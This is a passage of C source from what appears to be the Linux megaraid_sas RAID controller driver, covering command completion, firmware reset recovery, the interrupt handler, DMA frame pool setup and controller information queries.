memset(cmd->scmd->sense_buffer, 0, SCSI_SENSE_BUFFERSIZE); memcpy(cmd->scmd->sense_buffer, cmd->sense, hdr->sense_len); cmd->scmd->result |= DRIVER_SENSE << 24; } break; case MFI_STAT_LD_OFFLINE: case MFI_STAT_DEVICE_NOT_FOUND: cmd->scmd->result = DID_BAD_TARGET << 16; break; default: printk(KERN_DEBUG "megasas: MFI FW status %#x\n", hdr->cmd_status); cmd->scmd->result = DID_ERROR << 16; break; } atomic_dec(&instance->fw_outstanding); scsi_dma_unmap(cmd->scmd); cmd->scmd->scsi_done(cmd->scmd); megasas_return_cmd(instance, cmd); break; case MFI_CMD_SMP: case MFI_CMD_STP: case MFI_CMD_DCMD: /* Check for LD map update */ if ((cmd->frame->dcmd.opcode == MR_DCMD_LD_MAP_GET_INFO) && (cmd->frame->dcmd.mbox.b[1] == 1)) { spin_lock_irqsave(instance->host->host_lock, flags); if (cmd->frame->hdr.cmd_status != 0) { if (cmd->frame->hdr.cmd_status != MFI_STAT_NOT_FOUND) printk(KERN_WARNING "megasas: map sync" "failed, status = 0x%x.\n", cmd->frame->hdr.cmd_status); else { megasas_return_cmd(instance, cmd); spin_unlock_irqrestore( instance->host->host_lock, flags); break; } } else instance->map_id++; megasas_return_cmd(instance, cmd); if (MR_ValidateMapInfo( fusion->ld_map[(instance->map_id & 1)], fusion->load_balance_info)) fusion->fast_path_io = 1; else fusion->fast_path_io = 0; megasas_sync_map_info(instance); spin_unlock_irqrestore(instance->host->host_lock, flags); break; } if (cmd->frame->dcmd.opcode == MR_DCMD_CTRL_EVENT_GET_INFO || cmd->frame->dcmd.opcode == MR_DCMD_CTRL_EVENT_GET) { spin_lock_irqsave(&poll_aen_lock, flags); megasas_poll_wait_aen = 0; spin_unlock_irqrestore(&poll_aen_lock, flags); } /* * See if got an event notification */ if (cmd->frame->dcmd.opcode == MR_DCMD_CTRL_EVENT_WAIT) megasas_service_aen(instance, cmd); else megasas_complete_int_cmd(instance, cmd); break; case MFI_CMD_ABORT: /* * Cmd issued to abort another cmd returned */ megasas_complete_abort(instance, cmd); break; default: printk("megasas: Unknown command completed! [0x%X]\n", hdr->cmd); break; } } /** * megasas_issue_pending_cmds_again - issue all pending cmds * in FW again because of the fw reset * @instance: Adapter soft state */ static inline void megasas_issue_pending_cmds_again(struct megasas_instance *instance) { struct megasas_cmd *cmd; struct list_head clist_local; union megasas_evt_class_locale class_locale; unsigned long flags; u32 seq_num; INIT_LIST_HEAD(&clist_local); spin_lock_irqsave(&instance->hba_lock, flags); list_splice_init(&instance->internal_reset_pending_q, &clist_local); spin_unlock_irqrestore(&instance->hba_lock, flags); while (!list_empty(&clist_local)) { cmd = list_entry((&clist_local)->next, struct megasas_cmd, list); list_del_init(&cmd->list); if (cmd->sync_cmd || cmd->scmd) { printk(KERN_NOTICE "megaraid_sas: command %p, %p:%d" "detected to be pending while HBA reset.\n", cmd, cmd->scmd, cmd->sync_cmd); cmd->retry_for_fw_reset++; if (cmd->retry_for_fw_reset == 3) { printk(KERN_NOTICE "megaraid_sas: cmd %p, %p:%d" "was tried multiple times during reset." "Shutting down the HBA\n", cmd, cmd->scmd, cmd->sync_cmd); megaraid_sas_kill_hba(instance); instance->adprecovery = MEGASAS_HW_CRITICAL_ERROR; return; } } if (cmd->sync_cmd == 1) { if (cmd->scmd) { printk(KERN_NOTICE "megaraid_sas: unexpected" "cmd attached to internal command!\n"); } printk(KERN_NOTICE "megasas: %p synchronous cmd" "on the internal reset queue," "issue it again.\n", cmd); cmd->cmd_status = ENODATA; instance->instancet->fire_cmd(instance, cmd->frame_phys_addr , 0, instance->reg_set); } else if (cmd->scmd) { printk(KERN_NOTICE "megasas: %p scsi cmd [%02x],%#lx" "detected on the internal queue, issue again.\n", cmd, cmd->scmd->cmnd[0], cmd->scmd->serial_number); atomic_inc(&instance->fw_outstanding); instance->instancet->fire_cmd(instance, cmd->frame_phys_addr, cmd->frame_count-1, instance->reg_set); } else { printk(KERN_NOTICE "megasas: %p unexpected cmd on the" "internal reset defer list while re-issue!!\n", cmd); } } if (instance->aen_cmd) { printk(KERN_NOTICE "megaraid_sas: aen_cmd in def process\n"); megasas_return_cmd(instance, instance->aen_cmd); instance->aen_cmd = NULL; } /* * Initiate AEN (Asynchronous Event Notification) */ seq_num = instance->last_seq_num; class_locale.members.reserved = 0; class_locale.members.locale = MR_EVT_LOCALE_ALL; class_locale.members.class = MR_EVT_CLASS_DEBUG; megasas_register_aen(instance, seq_num, class_locale.word); } /** * Move the internal reset pending commands to a deferred queue. * * We move the commands pending at internal reset time to a * pending queue. This queue would be flushed after successful * completion of the internal reset sequence. if the internal reset * did not complete in time, the kernel reset handler would flush * these commands. **/ static void megasas_internal_reset_defer_cmds(struct megasas_instance *instance) { struct megasas_cmd *cmd; int i; u32 max_cmd = instance->max_fw_cmds; u32 defer_index; unsigned long flags; defer_index = 0; spin_lock_irqsave(&instance->cmd_pool_lock, flags); for (i = 0; i < max_cmd; i++) { cmd = instance->cmd_list[i]; if (cmd->sync_cmd == 1 || cmd->scmd) { printk(KERN_NOTICE "megasas: moving cmd[%d]:%p:%d:%p" "on the defer queue as internal\n", defer_index, cmd, cmd->sync_cmd, cmd->scmd); if (!list_empty(&cmd->list)) { printk(KERN_NOTICE "megaraid_sas: ERROR while" " moving this cmd:%p, %d %p, it was" "discovered on some list?\n", cmd, cmd->sync_cmd, cmd->scmd); list_del_init(&cmd->list); } defer_index++; list_add_tail(&cmd->list, &instance->internal_reset_pending_q); } } spin_unlock_irqrestore(&instance->cmd_pool_lock, flags); } static void process_fw_state_change_wq(struct work_struct *work) { struct megasas_instance *instance = container_of(work, struct megasas_instance, work_init); u32 wait; unsigned long flags; if (instance->adprecovery != MEGASAS_ADPRESET_SM_INFAULT) { printk(KERN_NOTICE "megaraid_sas: error, recovery st %x \n", instance->adprecovery); return ; } if (instance->adprecovery == MEGASAS_ADPRESET_SM_INFAULT) { printk(KERN_NOTICE "megaraid_sas: FW detected to be in fault" "state, restarting it...\n"); instance->instancet->disable_intr(instance->reg_set); atomic_set(&instance->fw_outstanding, 0); atomic_set(&instance->fw_reset_no_pci_access, 1); instance->instancet->adp_reset(instance, instance->reg_set); atomic_set(&instance->fw_reset_no_pci_access, 0 ); printk(KERN_NOTICE "megaraid_sas: FW restarted successfully," "initiating next stage...\n"); printk(KERN_NOTICE "megaraid_sas: HBA recovery state machine," "state 2 starting...\n"); /*waitting for about 20 second before start the second init*/ for (wait = 0; wait < 30; wait++) { msleep(1000); } if (megasas_transition_to_ready(instance, 1)) { printk(KERN_NOTICE "megaraid_sas:adapter not ready\n"); megaraid_sas_kill_hba(instance); instance->adprecovery = MEGASAS_HW_CRITICAL_ERROR; return ; } if ((instance->pdev->device == PCI_DEVICE_ID_LSI_SAS1064R) || (instance->pdev->device == PCI_DEVICE_ID_DELL_PERC5) || (instance->pdev->device == PCI_DEVICE_ID_LSI_VERDE_ZCR) ) { *instance->consumer = *instance->producer; } else { *instance->consumer = 0; *instance->producer = 0; } megasas_issue_init_mfi(instance); spin_lock_irqsave(&instance->hba_lock, flags); instance->adprecovery = MEGASAS_HBA_OPERATIONAL; spin_unlock_irqrestore(&instance->hba_lock, flags); instance->instancet->enable_intr(instance->reg_set); megasas_issue_pending_cmds_again(instance); instance->issuepend_done = 1; } return ; } /** * megasas_deplete_reply_queue - Processes all completed commands * @instance: Adapter soft state * @alt_status: Alternate status to be returned to * SCSI mid-layer instead of the status * returned by the FW * Note: this must be called with hba lock held */ static int megasas_deplete_reply_queue(struct megasas_instance *instance, u8 alt_status) { u32 mfiStatus; u32 fw_state; if ((mfiStatus = instance->instancet->check_reset(instance, instance->reg_set)) == 1) { return IRQ_HANDLED; } if ((mfiStatus = instance->instancet->clear_intr( instance->reg_set) ) == 0) { /* Hardware may not set outbound_intr_status in MSI-X mode */ if (!instance->msix_vectors) return IRQ_NONE; } instance->mfiStatus = mfiStatus; if ((mfiStatus & MFI_INTR_FLAG_FIRMWARE_STATE_CHANGE)) { fw_state = instance->instancet->read_fw_status_reg( instance->reg_set) & MFI_STATE_MASK; if (fw_state != MFI_STATE_FAULT) { printk(KERN_NOTICE "megaraid_sas: fw state:%x\n", fw_state); } if ((fw_state == MFI_STATE_FAULT) && (instance->disableOnlineCtrlReset == 0)) { printk(KERN_NOTICE "megaraid_sas: wait adp restart\n"); if ((instance->pdev->device == PCI_DEVICE_ID_LSI_SAS1064R) || (instance->pdev->device == PCI_DEVICE_ID_DELL_PERC5) || (instance->pdev->device == PCI_DEVICE_ID_LSI_VERDE_ZCR)) { *instance->consumer = MEGASAS_ADPRESET_INPROG_SIGN; } instance->instancet->disable_intr(instance->reg_set); instance->adprecovery = MEGASAS_ADPRESET_SM_INFAULT; instance->issuepend_done = 0; atomic_set(&instance->fw_outstanding, 0); megasas_internal_reset_defer_cmds(instance); printk(KERN_NOTICE "megasas: fwState=%x, stage:%d\n", fw_state, instance->adprecovery); schedule_work(&instance->work_init); return IRQ_HANDLED; } else { printk(KERN_NOTICE "megasas: fwstate:%x, dis_OCR=%x\n", fw_state, instance->disableOnlineCtrlReset); } } tasklet_schedule(&instance->isr_tasklet); return IRQ_HANDLED; } /** * megasas_isr - isr entry point */ static irqreturn_t megasas_isr(int irq, void *devp) { struct megasas_irq_context *irq_context = devp; struct megasas_instance *instance = irq_context->instance; unsigned long flags; irqreturn_t rc; if (atomic_read(&instance->fw_reset_no_pci_access)) return IRQ_HANDLED; spin_lock_irqsave(&instance->hba_lock, flags); rc = megasas_deplete_reply_queue(instance, DID_OK); spin_unlock_irqrestore(&instance->hba_lock, flags); return rc; } /** * megasas_transition_to_ready - Move the FW to READY state * @instance: Adapter soft state * * During the initialization, FW passes can potentially be in any one of * several possible states. If the FW in operational, waiting-for-handshake * states, driver must take steps to bring it to ready state. Otherwise, it * has to wait for the ready state. */ int megasas_transition_to_ready(struct megasas_instance *instance, int ocr) { int i; u8 max_wait; u32 fw_state; u32 cur_state; u32 abs_state, curr_abs_state; fw_state = instance->instancet->read_fw_status_reg(instance->reg_set) & MFI_STATE_MASK; if (fw_state != MFI_STATE_READY) printk(KERN_INFO "megasas: Waiting for FW to come to ready" " state\n"); while (fw_state != MFI_STATE_READY) { abs_state = instance->instancet->read_fw_status_reg(instance->reg_set); switch (fw_state) { case MFI_STATE_FAULT: printk(KERN_DEBUG "megasas: FW in FAULT state!!\n"); if (ocr) { max_wait = MEGASAS_RESET_WAIT_TIME; cur_state = MFI_STATE_FAULT; break; } else return -ENODEV; case MFI_STATE_WAIT_HANDSHAKE: /* * Set the CLR bit in inbound doorbell */ if ((instance->pdev->device == PCI_DEVICE_ID_LSI_SAS0073SKINNY) || (instance->pdev->device == PCI_DEVICE_ID_LSI_SAS0071SKINNY) || (instance->pdev->device == PCI_DEVICE_ID_LSI_FUSION) || (instance->pdev->device == PCI_DEVICE_ID_LSI_INVADER)) { writel( MFI_INIT_CLEAR_HANDSHAKE|MFI_INIT_HOTPLUG, &instance->reg_set->doorbell); } else { writel( MFI_INIT_CLEAR_HANDSHAKE|MFI_INIT_HOTPLUG, &instance->reg_set->inbound_doorbell); } max_wait = MEGASAS_RESET_WAIT_TIME; cur_state = MFI_STATE_WAIT_HANDSHAKE; break; case MFI_STATE_BOOT_MESSAGE_PENDING: if ((instance->pdev->device == PCI_DEVICE_ID_LSI_SAS0073SKINNY) || (instance->pdev->device == PCI_DEVICE_ID_LSI_SAS0071SKINNY) || (instance->pdev->device == PCI_DEVICE_ID_LSI_FUSION) || (instance->pdev->device == PCI_DEVICE_ID_LSI_INVADER)) { writel(MFI_INIT_HOTPLUG, &instance->reg_set->doorbell); } else writel(MFI_INIT_HOTPLUG, &instance->reg_set->inbound_doorbell); max_wait = MEGASAS_RESET_WAIT_TIME; cur_state = MFI_STATE_BOOT_MESSAGE_PENDING; break; case MFI_STATE_OPERATIONAL: /* * Bring it to READY state; assuming max wait 10 secs */ instance->instancet->disable_intr(instance->reg_set); if ((instance->pdev->device == PCI_DEVICE_ID_LSI_SAS0073SKINNY) || (instance->pdev->device == PCI_DEVICE_ID_LSI_SAS0071SKINNY) || (instance->pdev->device == PCI_DEVICE_ID_LSI_FUSION) || (instance->pdev->device == PCI_DEVICE_ID_LSI_INVADER)) { writel(MFI_RESET_FLAGS, &instance->reg_set->doorbell); if ((instance->pdev->device == PCI_DEVICE_ID_LSI_FUSION) || (instance->pdev->device == PCI_DEVICE_ID_LSI_INVADER)) { for (i = 0; i < (10 * 1000); i += 20) { if (readl( &instance-> reg_set-> doorbell) & 1) msleep(20); else break; } } } else writel(MFI_RESET_FLAGS, &instance->reg_set->inbound_doorbell); max_wait = MEGASAS_RESET_WAIT_TIME; cur_state = MFI_STATE_OPERATIONAL; break; case MFI_STATE_UNDEFINED: /* * This state should not last for more than 2 seconds */ max_wait = MEGASAS_RESET_WAIT_TIME; cur_state = MFI_STATE_UNDEFINED; break; case MFI_STATE_BB_INIT: max_wait = MEGASAS_RESET_WAIT_TIME; cur_state = MFI_STATE_BB_INIT; break; case MFI_STATE_FW_INIT: max_wait = MEGASAS_RESET_WAIT_TIME; cur_state = MFI_STATE_FW_INIT; break; case MFI_STATE_FW_INIT_2: max_wait = MEGASAS_RESET_WAIT_TIME; cur_state = MFI_STATE_FW_INIT_2; break; case MFI_STATE_DEVICE_SCAN: max_wait = MEGASAS_RESET_WAIT_TIME; cur_state = MFI_STATE_DEVICE_SCAN; break; case MFI_STATE_FLUSH_CACHE: max_wait = MEGASAS_RESET_WAIT_TIME; cur_state = MFI_STATE_FLUSH_CACHE; break; default: printk(KERN_DEBUG "megasas: Unknown state 0x%x\n", fw_state); return -ENODEV; } /* * The cur_state should not last for more than max_wait secs */ for (i = 0; i < (max_wait * 1000); i++) { fw_state = instance->instancet->read_fw_status_reg(instance->reg_set) & MFI_STATE_MASK ; curr_abs_state = instance->instancet->read_fw_status_reg(instance->reg_set); if (abs_state == curr_abs_state) { msleep(1); } else break; } /* * Return error if fw_state hasn't changed after max_wait */ if (curr_abs_state == abs_state) { printk(KERN_DEBUG "FW state [%d] hasn't changed " "in %d secs\n", fw_state, max_wait); return -ENODEV; } } printk(KERN_INFO "megasas: FW now in Ready state\n"); return 0; } /** * megasas_teardown_frame_pool - Destroy the cmd frame DMA pool * @instance: Adapter soft state */ static void megasas_teardown_frame_pool(struct megasas_instance *instance) { int i; u32 max_cmd = instance->max_mfi_cmds; struct megasas_cmd *cmd; if (!instance->frame_dma_pool) return; /* * Return all frames to pool */ for (i = 0; i < max_cmd; i++) { cmd = instance->cmd_list[i]; if (cmd->frame) pci_pool_free(instance->frame_dma_pool, cmd->frame, cmd->frame_phys_addr); if (cmd->sense) pci_pool_free(instance->sense_dma_pool, cmd->sense, cmd->sense_phys_addr); } /* * Now destroy the pool itself */ pci_pool_destroy(instance->frame_dma_pool); pci_pool_destroy(instance->sense_dma_pool); instance->frame_dma_pool = NULL; instance->sense_dma_pool = NULL; } /** * megasas_create_frame_pool - Creates DMA pool for cmd frames * @instance: Adapter soft state * * Each command packet has an embedded DMA memory buffer that is used for * filling MFI frame and the SG list that immediately follows the frame. This * function creates those DMA memory buffers for each command packet by using * PCI pool facility. */ static int megasas_create_frame_pool(struct megasas_instance *instance) { int i; u32 max_cmd; u32 sge_sz; u32 sgl_sz; u32 total_sz; u32 frame_count; struct megasas_cmd *cmd; max_cmd = instance->max_mfi_cmds; /* * Size of our frame is 64 bytes for MFI frame, followed by max SG * elements and finally SCSI_SENSE_BUFFERSIZE bytes for sense buffer */ sge_sz = (IS_DMA64) ? sizeof(struct megasas_sge64) : sizeof(struct megasas_sge32); if (instance->flag_ieee) { sge_sz = sizeof(struct megasas_sge_skinny); } /* * Calculated the number of 64byte frames required for SGL */ sgl_sz = sge_sz * instance->max_num_sge; frame_count = (sgl_sz + MEGAMFI_FRAME_SIZE - 1) / MEGAMFI_FRAME_SIZE; frame_count = 15; /* * We need one extra frame for the MFI command */ frame_count++; total_sz = MEGAMFI_FRAME_SIZE * frame_count; /* * Use DMA pool facility provided by PCI layer */ instance->frame_dma_pool = pci_pool_create("megasas frame pool", instance->pdev, total_sz, 64, 0); if (!instance->frame_dma_pool) { printk(KERN_DEBUG "megasas: failed to setup frame pool\n"); return -ENOMEM; } instance->sense_dma_pool = pci_pool_create("megasas sense pool", instance->pdev, 128, 4, 0); if (!instance->sense_dma_pool) { printk(KERN_DEBUG "megasas: failed to setup sense pool\n"); pci_pool_destroy(instance->frame_dma_pool); instance->frame_dma_pool = NULL; return -ENOMEM; } /* * Allocate and attach a frame to each of the commands in cmd_list. * By making cmd->index as the context instead of the &cmd, we can * always use 32bit context regardless of the architecture */ for (i = 0; i < max_cmd; i++) { cmd = instance->cmd_list[i]; cmd->frame = pci_pool_alloc(instance->frame_dma_pool, GFP_KERNEL, &cmd->frame_phys_addr); cmd->sense = pci_pool_alloc(instance->sense_dma_pool, GFP_KERNEL, &cmd->sense_phys_addr); /* * megasas_teardown_frame_pool() takes care of freeing * whatever has been allocated */ if (!cmd->frame || !cmd->sense) { printk(KERN_DEBUG "megasas: pci_pool_alloc failed \n"); megasas_teardown_frame_pool(instance); return -ENOMEM; } memset(cmd->frame, 0, total_sz); cmd->frame->io.context = cmd->index; cmd->frame->io.pad_0 = 0; if ((instance->pdev->device != PCI_DEVICE_ID_LSI_FUSION) && (instance->pdev->device != PCI_DEVICE_ID_LSI_INVADER) && (reset_devices)) cmd->frame->hdr.cmd = MFI_CMD_INVALID; } return 0; } /** * megasas_free_cmds - Free all the cmds in the free cmd pool * @instance: Adapter soft state */ void megasas_free_cmds(struct megasas_instance *instance) { int i; /* First free the MFI frame pool */ megasas_teardown_frame_pool(instance); /* Free all the commands in the cmd_list */ for (i = 0; i < instance->max_mfi_cmds; i++) kfree(instance->cmd_list[i]); /* Free the cmd_list buffer itself */ kfree(instance->cmd_list); instance->cmd_list = NULL; INIT_LIST_HEAD(&instance->cmd_pool); } /** * megasas_alloc_cmds - Allocates the command packets * @instance: Adapter soft state * * Each command that is issued to the FW, whether IO commands from the OS or * internal commands like IOCTLs, are wrapped in local data structure called * megasas_cmd. The frame embedded in this megasas_cmd is actually issued to * the FW. * * Each frame has a 32-bit field called context (tag). This context is used * to get back the megasas_cmd from the frame when a frame gets completed in * the ISR. Typically the address of the megasas_cmd itself would be used as * the context. But we wanted to keep the differences between 32 and 64 bit * systems to the mininum. We always use 32 bit integers for the context. In * this driver, the 32 bit values are the indices into an array cmd_list. * This array is used only to look up the megasas_cmd given the context. The * free commands themselves are maintained in a linked list called cmd_pool. */ int megasas_alloc_cmds(struct megasas_instance *instance) { int i; int j; u32 max_cmd; struct megasas_cmd *cmd; max_cmd = instance->max_mfi_cmds; /* * instance->cmd_list is an array of struct megasas_cmd pointers. * Allocate the dynamic array first and then allocate individual * commands. */ instance->cmd_list = kcalloc(max_cmd, sizeof(struct megasas_cmd*), GFP_KERNEL); if (!instance->cmd_list) { printk(KERN_DEBUG "megasas: out of memory\n"); return -ENOMEM; } memset(instance->cmd_list, 0, sizeof(struct megasas_cmd *) *max_cmd); for (i = 0; i < max_cmd; i++) { instance->cmd_list[i] = kmalloc(sizeof(struct megasas_cmd), GFP_KERNEL); if (!instance->cmd_list[i]) { for (j = 0; j < i; j++) kfree(instance->cmd_list[j]); kfree(instance->cmd_list); instance->cmd_list = NULL; return -ENOMEM; } } /* * Add all the commands to command pool (instance->cmd_pool) */ for (i = 0; i < max_cmd; i++) { cmd = instance->cmd_list[i]; memset(cmd, 0, sizeof(struct megasas_cmd)); cmd->index = i; cmd->scmd = NULL; cmd->instance = instance; list_add_tail(&cmd->list, &instance->cmd_pool); } /* * Create a frame pool and assign one frame to each cmd */ if (megasas_create_frame_pool(instance)) { printk(KERN_DEBUG "megasas: Error creating frame DMA pool\n"); megasas_free_cmds(instance); } return 0; } /* * megasas_get_pd_list_info - Returns FW's pd_list structure * @instance: Adapter soft state * @pd_list: pd_list structure * * Issues an internal command (DCMD) to get the FW's controller PD * list structure. This information is mainly used to find out SYSTEM * supported by the FW. */ static int megasas_get_pd_list(struct megasas_instance *instance) { int ret = 0, pd_index = 0; struct megasas_cmd *cmd; struct megasas_dcmd_frame *dcmd; struct MR_PD_LIST *ci; struct MR_PD_ADDRESS *pd_addr; dma_addr_t ci_h = 0; cmd = megasas_get_cmd(instance); if (!cmd) { printk(KERN_DEBUG "megasas (get_pd_list): Failed to get cmd\n"); return -ENOMEM; } dcmd = &cmd->frame->dcmd; ci = pci_alloc_consistent(instance->pdev, MEGASAS_MAX_PD * sizeof(struct MR_PD_LIST), &ci_h); if (!ci) { printk(KERN_DEBUG "Failed to alloc mem for pd_list\n"); megasas_return_cmd(instance, cmd); return -ENOMEM; } memset(ci, 0, sizeof(*ci)); memset(dcmd->mbox.b, 0, MFI_MBOX_SIZE); dcmd->mbox.b[0] = MR_PD_QUERY_TYPE_EXPOSED_TO_HOST; dcmd->mbox.b[1] = 0; dcmd->cmd = MFI_CMD_DCMD; dcmd->cmd_status = 0xFF; dcmd->sge_count = 1; dcmd->flags = MFI_FRAME_DIR_READ; dcmd->timeout = 0; dcmd->pad_0 = 0; dcmd->data_xfer_len = MEGASAS_MAX_PD * sizeof(struct MR_PD_LIST); dcmd->opcode = MR_DCMD_PD_LIST_QUERY; dcmd->sgl.sge32[0].phys_addr = ci_h; dcmd->sgl.sge32[0].length = MEGASAS_MAX_PD * sizeof(struct MR_PD_LIST); if (!megasas_issue_polled(instance, cmd)) { ret = 0; } else { ret = -1; } /* * the following function will get the instance PD LIST. */ pd_addr = ci->addr; if ( ret == 0 && (ci->count < (MEGASAS_MAX_PD_CHANNELS * MEGASAS_MAX_DEV_PER_CHANNEL))) { memset(instance->pd_list, 0, MEGASAS_MAX_PD * sizeof(struct megasas_pd_list)); for (pd_index = 0; pd_index < ci->count; pd_index++) { instance->pd_list[pd_addr->deviceId].tid = pd_addr->deviceId; instance->pd_list[pd_addr->deviceId].driveType = pd_addr->scsiDevType; instance->pd_list[pd_addr->deviceId].driveState = MR_PD_STATE_SYSTEM; pd_addr++; } } pci_free_consistent(instance->pdev, MEGASAS_MAX_PD * sizeof(struct MR_PD_LIST), ci, ci_h); megasas_return_cmd(instance, cmd); return ret; } /* * megasas_get_ld_list_info - Returns FW's ld_list structure * @instance: Adapter soft state * @ld_list: ld_list structure * * Issues an internal command (DCMD) to get the FW's controller PD * list structure. This information is mainly used to find out SYSTEM * supported by the FW. */ static int megasas_get_ld_list(struct megasas_instance *instance) { int ret = 0, ld_index = 0, ids = 0; struct megasas_cmd *cmd; struct megasas_dcmd_frame *dcmd; struct MR_LD_LIST *ci; dma_addr_t ci_h = 0; cmd = megasas_get_cmd(instance); if (!cmd) { printk(KERN_DEBUG "megasas_get_ld_list: Failed to get cmd\n"); return -ENOMEM; } dcmd = &cmd->frame->dcmd; ci = pci_alloc_consistent(instance->pdev, sizeof(struct MR_LD_LIST), &ci_h); if (!ci) { printk(KERN_DEBUG "Failed to alloc mem in get_ld_list\n"); megasas_return_cmd(instance, cmd); return -ENOMEM; } memset(ci, 0, sizeof(*ci)); memset(dcmd->mbox.b, 0, MFI_MBOX_SIZE); dcmd->cmd = MFI_CMD_DCMD; dcmd->cmd_status = 0xFF; dcmd->sge_count = 1; dcmd->flags = MFI_FRAME_DIR_READ; dcmd->timeout = 0; dcmd->data_xfer_len = sizeof(struct MR_LD_LIST); dcmd->opcode = MR_DCMD_LD_GET_LIST; dcmd->sgl.sge32[0].phys_addr = ci_h; dcmd->sgl.sge32[0].length = sizeof(struct MR_LD_LIST); dcmd->pad_0 = 0; if (!megasas_issue_polled(instance, cmd)) { ret = 0; } else { ret = -1; } /* the following function will get the instance PD LIST */ if ((ret == 0) && (ci->ldCount <= MAX_LOGICAL_DRIVES)) { memset(instance->ld_ids, 0xff, MEGASAS_MAX_LD_IDS); for (ld_index = 0; ld_index < ci->ldCount; ld_index++) { if (ci->ldList[ld_index].state != 0) { ids = ci->ldList[ld_index].ref.targetId; instance->ld_ids[ids] = ci->ldList[ld_index].ref.targetId; } } } pci_free_consistent(instance->pdev, sizeof(struct MR_LD_LIST), ci, ci_h); megasas_return_cmd(instance, cmd); return ret; } /** * megasas_get_controller_info - Returns FW's controller structure * @instance: Adapter soft state * @ctrl_info: Controller information structure * * Issues an internal command (DCMD) to get the FW's controller structure. * This information is mainly used to find out the maximum IO transfer per * command supported by the FW. */ static int megasas_get_ctrl_info(struct megasas_instance *instance, struct megasas_ctrl_info *ctrl_info) { int ret = 0; struct megasas_cmd *cmd; struct megasas_dcmd_frame *dcmd; struct megasas_ctrl_info *ci; dma_addr_t ci_h = 0; cmd = megasas_get_cmd(instance); if (!cmd) { printk(KERN_DEBUG "megasas: Failed to get a free cmd\n"); return -ENOMEM; } dcmd = &cmd->frame->dcmd; ci = pci_alloc_consistent(instance->pdev, sizeof(struct megasas_ctrl_info), &ci_h); if (!ci) { printk(KERN_DEBUG "Failed to alloc mem for ctrl info\n"); megasas_return_cmd(instance, cmd); return -ENOMEM; } memset(ci, 0, sizeof(*ci)); memset(dcmd->mbox.b, 0, MFI_MBOX_SIZE); dcmd->cmd = MFI_CMD_DCMD; dcmd->cmd_status = 0xFF; dcmd->sge_count = 1; dcmd->flags = MFI_FRAME_DIR_READ; dcmd->timeout = 0; dcmd->pad_0 = 0; dcmd->data_xfer_len = sizeof(struct megasas_ctrl_info); dcmd->opcode = MR_DCMD_CTRL_GET_INFO; dcmd->sgl.sge32[0].phys_addr = ci_h; dcmd->sgl.sge32[0].length = sizeof(struct megasas_ctrl_info); if (!megasas_issue_polled(instance, cmd)) { ret = 0; memcpy(ctrl_info, ci, sizeof(struct megasas_ctrl_info)); } else { ret = -1; } pci_free_consistent(instance->pdev, sizeof(struct megasas_ctrl_info), ci, ci_h); megasas_return_cmd(instance, cmd); return ret; } /** * megasas_issue_init_mfi - Initializes the FW * @instance: Adapter soft state * * Issues the INIT MFI cmd */ static int megasas_issue_init_mfi(struct megasas_instance *instance) { u32 context; struct megasas_cmd *cmd; struct megasas_init_frame *init_frame; struct megasas_init_queue_info *initq_info; dma_addr_t init_frame_h; dma_addr_t initq_info_h; /* * Prepare a init frame. Note the init frame points to queue info * structure. Each frame has SGL allocated after first 64 bytes. For * this frame - since we don't need any SGL - we use SGL's space as * queue info structure * * We will not get a NULL command below. We just created the pool. */ cmd = megasas_get_cmd(instance); init_frame = (struct megasas_init_frame *)cmd->frame; initq_info = (struct megasas_init_queue_info *) ((unsigned long)init_frame + 64); init_frame_h = cmd->frame_phys_addr; initq_info_h = init_frame_h + 64; context = init_frame->context; memset(init_frame, 0, MEGAMFI_FRAME_SIZE); memset(initq_info, 0, sizeof(struct megasas_init_queue_info)); init_frame->context = context; initq_info->reply_queue_entries = instance->max_fw_cmds + 1; initq_info->reply_queue_start_phys_addr_lo = instance->reply_queue_h; initq_info->producer_index_phys_addr_lo = instance->producer_h; initq_info->consumer_index_phys_addr_lo = instance->consumer_h; init_frame->cmd = MFI_CMD_INIT; init_frame->cmd_status = 0xFF; init_frame->queue_info_new_phys_addr_lo = initq_info_h; init_frame->data_xfer_len = sizeof(struct megasas_init_queue_info); /* * disable the intr before firing the init frame to FW */ instance->instancet->disable_intr(instance->reg_set); /* * Issue the init frame in polled mode */ if (megasas_issue_polled(instance, cmd)) { printk(KERN_ERR "megasas: Failed to init firmware\n"); megasas_return_cmd(instance, cmd); goto fail_fw_init; } megasas_return_cmd(instance, cmd); return 0; fail_fw_init: return -EINVAL; } static u32 megasas_init_adapter_mfi(struct megasas_instance *instance) { struct megasas_register_set __iomem *reg_set; u32 context_sz; u32 reply_q_sz; reg_set = instance->reg_set; /* * Get various operational parameters from status register */ instance->max_fw_cmds = instance->instancet->read_fw_status_reg(reg_set) & 0x00FFFF; /* * Reduce the max supported cmds by 1. This is to ensure that the * reply_q_sz (1 more than the max cmd that driver may send) * does not exceed max cmds that the FW can support */ instance->max_fw_cmds = instance->max_fw_cmds-1; instance->max_mfi_cmds = instance->max_fw_cmds; instance->max_num_sge = (instance->instancet->read_fw_status_reg(reg_set) & 0xFF0000) >> 0x10; /* * Create a pool of commands */ if (megasas_alloc_cmds(instance)) goto fail_alloc_cmds; /* * Allocate memory for reply queue. Length of reply queue should * be _one_ more than the maximum commands handled by the firmware. * * Note: When FW completes commands, it places corresponding contex * values in this circular reply queue. This circular queue is a fairly * typical producer-consumer queue. FW is the producer (of completed * commands) and the driver is the consumer. */ context_sz = sizeof(u32); reply_q_sz = context_sz * (instance->max_fw_cmds + 1); instance->reply_queue = pci_alloc_consistent(instance->pdev, reply_q_sz, &instance->reply_queue_h); if (!instance->reply_queue) { printk(KERN_DEBUG "megasas: Out of DMA mem for reply queue\n"); goto fail_reply_queue; } if (megasas_issue_init_mfi(instance)) goto fail_fw_init; instance->fw_support_ieee = 0; instance->fw_support_ieee = (instance->instancet->read_fw_status_reg(reg_set) & 0x04000000); printk(KERN_NOTICE "megasas_init_mfi: fw_support_ieee=%d", instance->fw_support_ieee); if (instance->fw_support_ieee) instance->flag_ieee = 1; return 0; fail_fw_init: pci_free_consistent(instance->pdev, reply_q_sz, instance->reply_queue, instance->reply_queue_h); fail_reply_queue: megasas_free_cmds(instance); fail_alloc_cmds: return 1; } /** * megasas_init_fw - Initializes the FW * @instance: Adapter soft state * * This is the main function for initializing firmware */ static int megasas_init_fw(struct megasas_instance *instance) { u32 max_sectors_1; u32 max_sectors_2; u32 tmp_sectors, msix_enable; struct megasas_register_set __iomem *reg_set; struct megasas_ctrl_info *ctrl_info; unsigned long bar_list; int i; /* Find first memory bar */ bar_list = pci_select_bars(instance->pdev, IORESOURCE_MEM); instance->bar = find_first_bit(&bar_list, sizeof(unsigned long)); 